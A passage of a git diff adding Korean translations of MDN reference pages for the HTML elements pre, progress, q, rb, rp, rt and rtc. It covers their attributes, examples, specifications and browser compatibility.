+<p><code>&lt;pre&gt;</code> 요소로 만든 이미지나 도표에 대한 대체 설명을 지정하는 것이 중요합니다. 대체 설명은 분명하고 간결하게 이미지 또는 도표 콘텐츠를 설명해야 합니다.</p>
+
+<p>시력이 낮은 사용자가 스크린 리더와 같은 보조 기술을 사용 중이라면, 미리 서식 적용한 텍스트의 문자를 차례대로 읽어서는 이게 무엇을 의미하는지 이해하지 못할 수 있습니다.</p>
+
+<p>{{htmlelement("figure")}}과 {{htmlelement("figcaption")}}에 더해 {{htmlattrxref("id")}}와 <a href="/ko/docs/Web/Accessibility/ARIA">ARIA</a> <code>role</code>과 <code>aria-labelledby</code> 특성을 조합하면 <code>&lt;pre&gt;</code>를 마치 이미지처럼 표현하면서 <code>&lt;figcaption&gt;</code>을 대체 설명으로 사용할 수 있습니다.</p>
+
+<h3 id="예제_2">예제</h3>
+
+<pre>&lt;figure role="img" aria-labelledby="cow-caption"&gt;
+ &lt;pre&gt;
+ _______________________
+&lt; 나는 이 분야의 전문가다. &gt;
+ -----------------------
+ \ ^__^
+ \ (oo)\_______
+ (__)\ )\/\
+ ||----w |
+ || ||
+ &lt;/pre&gt;
+ &lt;figcaption id="cow-caption"&gt;
+ 소 한 마리가 "나는 이 분야의 전문가다"라고 말하고 있습니다. 소는 미리 서식을 적용한 텍스트로 그려져있습니다.
+ &lt;/figcaption&gt;
+&lt;/figure&gt;
+</pre>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.1_—_Providing_text_alternatives_for_non-text_content">MDN Understanding WCAG, Guideline 1.1 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/WCAG20-TECHS/H86.html">H86: Providing text alternatives for ASCII art, emoticons, and leetspeak | W3C Techniques for WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'grouping-content.html#the-pre-element', '&lt;pre&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No significant change from {{SpecName("HTML WHATWG")}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-pre-element', '&lt;pre&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>No significant change from {{SpecName("HTML4.01")}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.3.4', '&lt;dl&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td>Deprecated the <code>cols</code> attribute</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<p>{{Compat("html.elements.pre")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>CSS: {{ Cssxref('white-space') }}, {{ Cssxref('word-break') }}</li>
+</ul>
diff --git a/files/ko/web/html/element/progress/index.html b/files/ko/web/html/element/progress/index.html
new file mode 100644
index 0000000000..c586671c0d
--- /dev/null
+++ b/files/ko/web/html/element/progress/index.html
@@ -0,0 +1,122 @@
+---
+title: <progress>
+slug: Web/HTML/Element/progress
+tags:
+ - Element
+ - HTML
+ - HTML forms
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/progress
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;progress&gt;</code> 요소</strong>는 어느 작업의 완료 정도를 나타내며, 주로 진행 표시줄의 형태를 띕니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/progress.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, 레이블 가능, 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC#%EA%B5%AC%EB%AC%B8_%EC%BD%98%ED%85%90%EC%B8%A0">.</a> 단, 다른 <code>&lt;progress&gt;</code> 요소는 사용할 수 없습니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>없음</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLProgressElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{ htmlattrdef("max") }}</dt>
+ <dd><code>&lt;progress&gt;</code> 요소가 나타내는 작업에 필요한 작업량. 지정하는 경우, 반드시 0보다 크고 유효한 부동소수점 숫자여야 합니다. 기본값은 1입니다.</dd>
+ <dt>{{ htmlattrdef("value") }}</dt>
+ <dd><code>&lt;progress&gt;</code> 요소가 나타내는 작업을 완료한 양. 유효현 부동소수점 숫자여야 하고, <code>max</code> 특성을 지정한 경우 0 이상 <code>max</code> 이하, 그렇지 않으면 0 이상 1 이하여야 합니다. <code>value</code> 특성이 없으면 미결정 상태로, 현재 작업의 종료 시점을 예측할 수 없음을 나타냅니다.</dd>
+</dl>
+
+<div class="note">
+<p><strong>참고:</strong> {{htmlelement("meter")}} 요소와 달리, 최솟값은 항상 0이며 <code>min</code> 특성을 지정할 수 없습니다.</p>
+</div>
+
+<div class="note">
+<p><strong>참고:</strong> CSS {{cssxref(":indeterminate")}} <a href="/ko/docs/Web/CSS/Pseudo-classes">의사 클래스</a>를 사용하면 미결정 상태의 진행 표시줄을 선택할 수 있습니다. 값을 지정한 진행 표시줄을 미결정 상태로 바꾸려면 {{domxref("Element.removeAttribute", "element.removeAttribute('value')")}}를 사용해 <code>value</code> 특성을 제거해야 합니다.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;progress value="70" max="100"&gt;70 %&lt;/progress&gt;
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{ EmbedLiveSample("예제", 200, 50) }}</p>
+
+<p>Windows 7에서는 다음과 같은 모습으로 나타납니다.</p>
+
+<p><img alt="progress-firefox.JPG" class="default internal" src="/@api/deki/files/6031/=progress-firefox.JPG"></p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'forms.html#the-progress-element', '&lt;progress&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'sec-forms.html#the-progress-element', '&lt;progress&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.progress")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{htmlelement("meter")}}</li>
+ <li>{{ cssxref(":indeterminate") }}</li>
+ <li>{{ cssxref("-moz-orient") }}</li>
+ <li>{{ cssxref("::-moz-progress-bar") }}</li>
+ <li>{{ cssxref("::-ms-fill") }}</li>
+ <li>{{ cssxref("::-webkit-progress-bar") }}</li>
+ <li>{{ cssxref("::-webkit-progress-value") }}</li>
+ <li>{{ cssxref("::-webkit-progress-inner-element") }}</li>
+</ul>
diff --git a/files/ko/web/html/element/q/index.html b/files/ko/web/html/element/q/index.html
new file mode 100644
index 0000000000..2634e98b63
--- /dev/null
+++ b/files/ko/web/html/element/q/index.html
@@ -0,0 +1,111 @@
+---
+title: '<q>: 인라인 인용문 요소'
+slug: Web/HTML/Element/q
+tags:
+ - Element
+ - HTML
+ - HTML text-level semantics
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/q
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;q&gt;</code>요소</strong>는 둘러싼 텍스트가 짧은 인라인 인용문이라는것을 나타냅니다.</span> 대부분의 브라우저에서는 앞과 뒤에 따옴표를 붙여 표현합니다. <code>&lt;q&gt;</code>는 줄 바꿈이 없는 짧은 경우에 적합합니다. 긴 인용문은 {{htmlelement("blockquote")}} 요소를 사용하세요.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/q.html", "tabbed-shorter")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>모두</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLQuoteElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>참고:</strong> 오래된 브라우저에서는 앞뒤 따옴표를 적용하려면 추가 스타일을 사용해야 할 수 있습니다.</p>
+</div>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("cite")}}</dt>
+ <dd>인용문의 출처 문서나 메시지를 가리키는 URL. 인용문의 맥락 혹은 출처 정보를 가리킬 용도입니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;p&gt;Mozilla 재단의 웹사이트에 따르면,
+ &lt;q
+ cite="https://www.mozilla.org/en-US/about/history/details/"&gt;Firefox 1.0
+ 은 2004년 처음 공개되어 큰 성공을 거두었습니다.&lt;/q&gt;&lt;/p&gt;</pre>
+
+<p>{{EmbedLiveSample('예제')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'semantics.html#the-q-element', '&lt;q&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-q-element', '&lt;q&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.2.2', '&lt;q&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.q")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>긴 인용문을 위한 {{HTMLElement("blockquote")}} 요소.</li>
+ <li>출처 표기를 위한 {{HTMLElement("cite")}} 요소.</li>
+</ul>
diff --git a/files/ko/web/html/element/rb/index.html b/files/ko/web/html/element/rb/index.html
new file mode 100644
index 0000000000..b34272a9e3
--- /dev/null
+++ b/files/ko/web/html/element/rb/index.html
@@ -0,0 +1,150 @@
+---
+title: '<rb>: 루비 베이스 요소'
+slug: Web/HTML/Element/rb
+tags:
+ - Element
+ - HTML
+ - HTML text-level semantics
+ - Reference
+ - Ruby
+ - Text
+ - Web
+translation_of: Web/HTML/Element/rb
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;rb&gt;</code> 요소</strong>는 {{HTMLElement("ruby")}} 표기의 기반 텍스트 구성요소(루비 주석을 적용하려는 글자)를 나눌 때 사용합니다.</span> 하나의 <code>&lt;rb&gt;</code> 요소는 기반 텍스트에서의 최소 단위를 하나 감싸야 합니다.</p>
+
+<div class="hidden">\{{EmbedInteractiveExample("pages/tabbed/rb.html", "tabbed-standard")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td>없음.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td>{{htmlelement("ruby")}} 요소의 자손.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>바로 뒤따르는 요소가 {{HTMLElement("rt")}}, {{HTMLElement("rtc")}}, {{HTMLElement("rp")}}, 다른 <code>&lt;rb&gt;</code> 요소거나, 자신이 부모의 마지막 요소라면 닫는 태그를 생략할 수 있습니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td>{{htmlelement("ruby")}} 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>모두</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<ul>
+ <li>루비 주석은 일본어 후리가나, 타이완어 주음부호와 같이 동아시아 문자의 발음 표기에 사용합니다. <code>&lt;rb&gt;</code> 요소는 기반 텍스트의 각 조각을 나타내는 용도입니다.</li>
+ <li><code>&lt;rb&gt;</code>는 {{glossary("empty element", "빈 요소")}}가 아니지만, 보통 소스 코드에는 여는 태그만 사용해 루비 마크업을 덜 복잡하고 읽기 쉽게 합니다. 브라우저가 렌더링 때 알아서 닫는 태그를 추가합니다.</li>
+ <li>각각의 <code>&lt;rb&gt;</code> / 기반 조각 하나마다 {{htmlelement("rt")}} 요소 하나를 작성해야 합니다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 "경복궁"의 한자/한글 표기를 병행합니다.</p>
+
+<pre class="brush: html">&lt;ruby&gt;
+ &lt;rb&gt;景&lt;rb&gt;福&lt;rb&gt;宮
+ &lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;경&lt;rt&gt;복&lt;rt&gt;궁&lt;rp&gt;)&lt;/rp&gt;
+&lt;/ruby&gt;</pre>
+
+<p>세 개의 <code>&lt;rb&gt;</code> 요소를 사용해 기반 글자(한자)를 세 개로 나눴습니다. 반면, 한글 표기는 세 개의 {{htmlelement("rt")}} 요소를 사용합니다.</p>
+
+<p>세 개의 기반 조각을 완전히 분리해 작성할 수도 있다는 점을 알아두세요. 이 때는 <code>&lt;rb&gt;</code> 요소를 사용하지 않아도 됩니다.</p>
+
+<pre class="brush: html">&lt;ruby&gt;
+ 景 &lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;경&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
+ 福 &lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;복&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
+ 宮 &lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;궁&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
+&lt;/ruby&gt;</pre>
+
+<div class="hidden">
+<div id="with-ruby">
+<pre class="brush: html">&lt;ruby&gt; &lt;rb&gt;景&lt;rb&gt;福&lt;rb&gt;宮 &lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;경&lt;rt&gt;복&lt;rt&gt;궁&lt;rp&gt;)&lt;/rp&gt; &lt;/ruby&gt;
+</pre>
+
+<pre class="brush: css">body {
+ font-size: 22px;
+}</pre>
+</div>
+</div>
+
+<p>결과는 다음과 같습니다.</p>
+
+<p>{{EmbedLiveSample("with-ruby", "100%", 60)}}</p>
+
+<p>루비 주석을 지원하지 않는 브라우저에서는 아래와 같이 출력합니다.</p>
+
+<div id="without-ruby">
+<div class="hidden">
+<pre class="brush: html">景福宮 (경복궁)</pre>
+
+<pre class="brush: css">body {
+ font-size: 22px;
+}
+</pre>
+</div>
+</div>
+
+<p>{{EmbedLiveSample("without-ruby", "100%", 60)}}</p>
+
+<div class="note">
+<p><strong>참고</strong>: {{HTMLElement("ruby")}} 요소 참고서를 방문해 다른 예제도 살펴보세요.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-rb-element', '&lt;rb&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.rb")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("ruby")}}</li>
+ <li>{{HTMLElement("rt")}}</li>
+ <li>{{HTMLElement("rp")}}</li>
+ <li>
+ <p>{{HTMLElement("rtc")}}</p>
+ </li>
+</ul>
diff --git a/files/ko/web/html/element/rp/index.html b/files/ko/web/html/element/rp/index.html
new file mode 100644
index 0000000000..9a803de3c5
--- /dev/null
+++ b/files/ko/web/html/element/rp/index.html
@@ -0,0 +1,134 @@
+---
+title: '<rp>: 루비 대체 괄호 요소'
+slug: Web/HTML/Element/rp
+tags:
+ - Element
+ - HTML
+ - HTML text-level semantics
+ - Reference
+ - Ruby
+ - Web
+translation_of: Web/HTML/Element/rp
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;rp&gt;</code> 요소</strong>는 {{htmlelement("ruby")}} 요소를 사용한 루비 주석을 지원하지 않는 경우 보여줄 괄호를 제공할 때 사용합니다.</span> {{htmlelement("rt")}} 요소를 감싸는 여는 괄호와 닫는 괄호를 각각의 <code>&lt;rp&gt;</code> 요소로 나타내야 합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/rp.html", "tabbed-shorter")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td>없음.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td>텍스트.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>바로 뒤따르는 요소가 {{HTMLElement("rt")}}, 다른 <code>&lt;rp&gt;</code> 요소거나, 자신이 부모의 마지막 요소라면 닫는 태그를 생략할 수 있습니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td>{{htmlelement("ruby")}} 요소. <code>&lt;rp&gt;</code>는 {{htmlelement("rt")}} 요소의 바로 앞 또는 바로 뒤에 위치해야 합니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>모두</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>만을 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<ul>
+ <li>루비 주석은 일본어 후리가나, 타이완어 주음부호와 같이 동아시아 문자의 발음 표기에 사용합니다. <code>&lt;rp&gt;</code> 요소는 {{htmlelement("ruby")}} 요소를 지원하지 않는 브라우저에서 루비 주석을 구분할 수 있는 텍스트(주로 괄호)를 제공합니다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 한자료 표기한 "경복궁"의 각 글자에 루비 주석을 적용합니다.</p>
+
+<div id="with-ruby">
+<pre class="brush: html">&lt;ruby&gt;
+ 景 &lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;경&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
+ 福 &lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;복&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
+ 宮 &lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;궁&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
+&lt;/ruby&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css">body {
+ font-size: 22px;
+}</pre>
+</div>
+</div>
+
+<p>결과는 다음과 같습니다.</p>
+
+<p>{{EmbedLiveSample("with-ruby", "100%", 60)}}</p>
+
+<p>루비 주석을 지원하지 않는 브라우저에서는 아래와 같이 출력합니다.</p>
+
+<div id="without-ruby">
+<div class="hidden">
+<pre class="brush: html">景 (경) 福 (복) 宮 (궁)</pre>
+
+<pre class="brush: css">body {
+ font-size: 22px;
+}
+</pre>
+</div>
+</div>
+
+<p>{{EmbedLiveSample("without-ruby", "100%", 60)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-rp-element', '&lt;rp&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-rp-element', '&lt;rp&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.rp")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("ruby")}}</li>
+ <li>{{HTMLElement("rt")}}</li>
+ <li>{{HTMLElement("rb")}}</li>
+ <li>{{HTMLElement("rtc")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/rt/index.html b/files/ko/web/html/element/rt/index.html
new file mode 100644
index 0000000000..5cde18c84c
--- /dev/null
+++ b/files/ko/web/html/element/rt/index.html
@@ -0,0 +1,129 @@
+---
+title: '<rt>: 루비 텍스트 요소'
+slug: Web/HTML/Element/rt
+tags:
+ - Element
+ - HTML
+ - HTML text-level semantics
+ - Reference
+ - Ruby
+ - Web
+translation_of: Web/HTML/Element/rt
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;rt&gt;</code> 요소</strong>는 동아시아 문자의 루비 주석에서 발음, 번역 등을 나타내는 텍스트 부분을 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/rt.html", "tabbed-shorter")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td>없음.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>바로 뒤따르는 요소가 {{htmlelement("rp")}}, 다른 <code>&lt;rt&gt;</code> 요소거나 자신이 부모의 마지막 요소라면 닫는 태그를 생략할 수 있습니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td>{{htmlelement("ruby")}} 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>모두</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 {{htmlelement("ruby")}} 요소를 사용해 한자의 발음을 표기합니다.</p>
+
+<div id="with-ruby">
+<pre class="brush: html">&lt;ruby&gt;
+ 漢 &lt;rt&gt;한&lt;/rt&gt;
+ 字 &lt;rt&gt;자&lt;/rt&gt;
+&lt;/ruby&gt;
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">body {
+ font-size: 22px;
+}
+</pre>
+</div>
+</div>
+
+<p>결과는 다음과 같습니다.</p>
+
+<p>{{EmbedLiveSample("with-ruby", 600, 60)}}</p>
+
+<p>브라우저가 루비를 지원하지 않는 경우엔 다음처럼 보일 것입니다.</p>
+
+<div id="without-ruby">
+<div class="hidden">
+<pre class="brush: html">漢 한 字 자</pre>
+
+<pre class="brush: css">body {
+ font-size: 22px;
+}
+</pre>
+</div>
+</div>
+
+<p>{{EmbedLiveSample("without-ruby", 600, 60)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-rt-element', '&lt;rt&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-rt-element', '&lt;rt&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.rt")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("ruby")}}</li>
+ <li>{{HTMLElement("rp")}}</li>
+ <li>{{HTMLElement("rb")}}</li>
+ <li>{{HTMLElement("rtc")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/rtc/index.html b/files/ko/web/html/element/rtc/index.html
new file mode 100644
index 0000000000..9fd51a5c36
--- /dev/null
+++ b/files/ko/web/html/element/rtc/index.html
@@ -0,0 +1,121 @@
+---
+title: '<rtc>: 루비 텍스트 콘테이너 요소'
+slug: Web/HTML/Element/rtc
+tags:
+ - Element
+ - HTML
+ - HTML text-level semantics
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/rtc
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;rtc&gt;</code> 요소</strong>는 {{htmlelement("rb")}} 요소가 표시하는 문자의 의미에 대한 주석을 나타냅니다.</span> <code>&lt;rb&gt;</code>는 발음({{htmlelement("rt")}})과 의미(<code>&lt;rtc&gt;</code>) 둘 다 가질 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/rtc.html", "tabbed-standard")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td>없음.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a> 또는 {{htmlelement("rt")}} 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
